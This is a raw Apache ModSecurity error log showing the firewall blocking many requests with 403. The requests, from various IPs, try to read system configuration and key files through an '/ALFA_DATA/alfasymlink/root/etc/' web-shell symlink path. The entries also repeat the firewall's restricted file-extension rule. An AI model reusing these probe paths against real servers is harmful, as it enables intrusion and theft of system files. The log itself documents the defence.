[tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/sestatus.conf"] [unique_id "auDFl02zuRwVCHS9I4mTbwAAAFE"]
[Tue Oct 27 11:39:03.040934 2026] [security2:error] [pid 3258840:tid 3258840] [client 95.134.137.25:38162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/sestatus.conf"] [unique_id "auDFl02zuRwVCHS9I4mTbwAAAFE"]
[Tue Oct 27 11:39:03.041843 2026] [security2:error] [pid 3258840:tid 3258840] [client 95.134.137.25:38162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFl02zuRwVCHS9I4mTbwAAAFE"]
[Tue Oct 27 11:39:04.548650 2026] [security2:error] [pid 3258919:tid 3258919] [client 94.103.51.108:50224] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/host.conf"] [unique_id "auDFmNzVFlkhLp1QKlt4fgAAADM"]
[Tue Oct 27 11:39:04.548900 2026] [security2:error] [pid 3258919:tid 3258919] [client 94.103.51.108:50224] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/host.conf"] [unique_id "auDFmNzVFlkhLp1QKlt4fgAAADM"]
[Tue Oct 27 11:39:04.549548 2026] [security2:error] [pid 3258919:tid 3258919] [client 94.103.51.108:50224] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFmNzVFlkhLp1QKlt4fgAAADM"]
[Tue Oct 27 11:39:04.737368 2026] [security2:error] [pid 3258933:tid 3258933] [client 173.244.40.167:41734] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum.conf"] [unique_id "auDFmMZXnwzxAnw-k1TN8wAAAEw"]
[Tue Oct 27 11:39:04.737625 2026] [security2:error] [pid 3258933:tid 3258933] [client 173.244.40.167:41734] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum.conf"] [unique_id "auDFmMZXnwzxAnw-k1TN8wAAAEw"]
[Tue Oct 27 11:39:04.738385 2026] [security2:error] [pid 3258933:tid 3258933] [client 173.244.40.167:41734] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFmMZXnwzxAnw-k1TN8wAAAEw"]
[Tue Oct 27 11:39:09.294716 2026] [security2:error] [pid 3258793:tid 3258793] [client 45.45.155.21:52658] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/libaudit.conf"] [unique_id "auDFnU6B8bA6FtYePj1SugAAACM"]
[Tue Oct 27 11:39:09.294940 2026] [security2:error] [pid 3258793:tid 3258793] [client 45.45.155.21:52658] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/libaudit.conf"] [unique_id "auDFnU6B8bA6FtYePj1SugAAACM"]
[Tue Oct 27 11:39:09.295677 2026] [security2:error] [pid 3258793:tid 3258793] [client 45.45.155.21:52658] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFnU6B8bA6FtYePj1SugAAACM"]
[Tue Oct 27 11:39:09.796079 2026] [security2:error] [pid 3258886:tid 3258886] [client 154.6.231.161:50426] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/mke2fs.conf"] [unique_id "auDFnZZGwH3YKoayKxhxUAAAABA"]
[Tue Oct 27 11:39:09.796404 2026] [security2:error] [pid 3258886:tid 3258886] [client 154.6.231.161:50426] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/mke2fs.conf"] [unique_id "auDFnZZGwH3YKoayKxhxUAAAABA"]
[Tue Oct 27 11:39:09.797215 2026] [security2:error] [pid 3258886:tid 3258886] [client 154.6.231.161:50426] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFnZZGwH3YKoayKxhxUAAAABA"]
[Tue Oct 27 11:39:11.458045 2026] [security2:error] [pid 3258908:tid 3258908] [client 92.61.101.72:48392] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/nscd.conf"] [unique_id "auDFn3MWyVPCfBWbOkom1gAAACY"]
[Tue Oct 27 11:39:11.458397 2026] [security2:error] [pid 3258908:tid 3258908] [client 92.61.101.72:48392] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/nscd.conf"] [unique_id "auDFn3MWyVPCfBWbOkom1gAAACY"]
[Tue Oct 27 11:39:11.463441 2026] [security2:error] [pid 3258908:tid 3258908] [client 92.61.101.72:48392] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFn3MWyVPCfBWbOkom1gAAACY"]
[Tue Oct 27 11:39:11.613812 2026] [security2:error] [pid 3258912:tid 3258912] [client 45.45.155.21:55838] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/wapisimox1.log"] [unique_id "auDFn_ULLOYpDYhLpuFXBwAAACw"]
[Tue Oct 27 11:39:11.614059 2026] [security2:error] [pid 3258912:tid 3258912] [client 45.45.155.21:55838] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/wapisimox1.log"] [unique_id "auDFn_ULLOYpDYhLpuFXBwAAACw"]
[Tue Oct 27 11:39:11.614725 2026] [security2:error] [pid 3258912:tid 3258912] [client 45.45.155.21:55838] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFn_ULLOYpDYhLpuFXBwAAACw"]
[Tue Oct 27 11:39:11.672591 2026] [security2:error] [pid 3258913:tid 3258913] [client 199.255.150.134:50476] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/task_db.log"] [unique_id "auDFnwsCq2gGLCWNpv3i4wAAAC0"]
[Tue Oct 27 11:39:11.672844 2026] [security2:error] [pid 3258913:tid 3258913] [client 199.255.150.134:50476] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/task_db.log"] [unique_id "auDFnwsCq2gGLCWNpv3i4wAAAC0"]
[Tue Oct 27 11:39:11.673600 2026] [security2:error] [pid 3258913:tid 3258913] [client 199.255.150.134:50476] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFnwsCq2gGLCWNpv3i4wAAAC0"]
[Tue Oct 27 11:39:12.333477 2026] [ssl:error] [pid 3258921:tid 3258921] (70014)End of file found: [client 85.208.96.193:59830] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:39:16.997953 2026] [security2:error] [pid 3258899:tid 3258899] [client 204.242.176.4:43074] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/resolv.conf"] [unique_id "auDFpPkE2pn1qK5LHPreawAAACE"]
[Tue Oct 27 11:39:16.998208 2026] [security2:error] [pid 3258899:tid 3258899] [client 204.242.176.4:43074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/resolv.conf"] [unique_id "auDFpPkE2pn1qK5LHPreawAAACE"]
[Tue Oct 27 11:39:16.998904 2026] [security2:error] [pid 3258899:tid 3258899] [client 204.242.176.4:43074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFpPkE2pn1qK5LHPreawAAACE"]
[Tue Oct 27 11:39:22.103740 2026] [security2:error] [pid 3258888:tid 3258888] [client 144.168.8.222:48342] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/idmapd.conf"] [unique_id "auDFqpHMMUowtWXfRjoZ-gAAABs"]
[Tue Oct 27 11:39:22.104095 2026] [security2:error] [pid 3258888:tid 3258888] [client 144.168.8.222:48342] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/idmapd.conf"] [unique_id "auDFqpHMMUowtWXfRjoZ-gAAABs"]
[Tue Oct 27 11:39:22.105440 2026] [security2:error] [pid 3258888:tid 3258888] [client 144.168.8.222:48342] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFqpHMMUowtWXfRjoZ-gAAABs"]
[Tue Oct 27 11:39:23.875317 2026] [security2:error] [pid 3258832:tid 3258832] [client 93.113.178.126:46528] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/trusted-key.key"] [unique_id "auDFq7BEXnl__nRWXe2VhwAAAEk"]
[Tue Oct 27 11:39:23.875594 2026] [security2:error] [pid 3258832:tid 3258832] [client 93.113.178.126:46528] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/trusted-key.key"] [unique_id "auDFq7BEXnl__nRWXe2VhwAAAEk"]
[Tue Oct 27 11:39:23.876304 2026] [security2:error] [pid 3258832:tid 3258832] [client 93.113.178.126:46528] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFq7BEXnl__nRWXe2VhwAAAEk"]
